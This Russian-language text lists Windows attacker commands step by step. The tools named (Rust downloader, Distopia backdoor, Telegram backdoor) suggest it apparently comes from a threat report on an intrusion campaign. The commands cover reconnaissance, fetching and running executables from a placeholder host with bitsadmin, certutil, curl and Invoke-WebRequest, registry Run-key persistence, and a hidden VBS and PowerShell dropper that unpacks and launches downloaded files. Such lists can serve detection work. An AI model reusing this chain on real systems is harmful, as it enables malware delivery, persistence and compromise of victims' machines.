Разведка и базовые команды

echo 4fUPU7tGOJBlT6D1wZTUk
whoami
ipconfig /all
systeminfo
hostname
net user /dom
dir
dir C:\users\[username]

Загрузка последующих стадий

bitsadmin /transfer www /download http://<HOST>/winupdate.exe $public\libraries\winvt.exe
curl -o $public\libraries\service.exe http://<HOST>/service.exe
certutil -urlcache -f https://<HOST>/AkelPad.rar $public\libraries\AkelPad.rar

powershell.exe -Command powershell -Command "Invoke-WebRequest -Uri 'https://<HOST>/winupdate.exe' -OutFile '$public\pictures\sbschost.exe'"

Проверка успешной загрузки

dir $temp
dir $public\libraries

Persistence через реестр

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinUpdate /t REG_SZ /d $public\pictures\winupdate.exe /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Win-NetAlone" /t REG_SZ /d "$public\videos\alone.exe"
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Winservice" /t REG_SZ /d "$public\Pictures\dwm.exe"
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v CurrentVersion /t REG_SZ /d $public\Pictures\sbschost.exe /f

Проверка persistence

reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Команды Rust Downloader (запуск через cmd.exe)

cmd /C "ipconfig /all"
cmd /C "echo %username%"
cmd /C hostname
cmd /C ver
cmd /C curl hxxps://ipinfo.io/ip
cmd /C curl hxxps://ipinfo.io/country"

Дроп и выполнение VBS/Powershell скриптов
noscript.vbs:

Set Shell = CreateObject("WScript.Shell")
Shell.Run "powershell -ep Bypass -w hidden -File %temp%\noscript.ps1"
Часть логики noscript.ps1 (цикл загрузки ZIP):

Invoke-WebRequest -Uri $Url -UseBasicParsing -ErrorAction Stop
iwr -OutFile $env:Temp\1.zip -Uri $dUrl
tar -xf $env:Temp\1.zip -C $env:Temp\rfolder
Get-ChildItem $env:Temp\rfolder -Filter "*.exe" | ForEach-Object { Start-Process $_.FullName }

Команда загрузки Python FileGrabber

cmd.exe /c "curl -o $public\videos\offel.exe http://<HOST>/offel.exe"

Команды Distopia Backdoor (выполненные оператором)

cmd.exe /c "dir"
cmd.exe /c "dir C:\user\[username]\pictures"
cmd.exe /c "pwd"
cmd.exe /c "curl -O $public\sysmgmt.exe http://<HOST>/private/svchost.exe"
cmd.exe /c "$public\sysmgmt.exe"

PowerShell Telegram Backdoor (вызов дроппера)

powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand <Base64>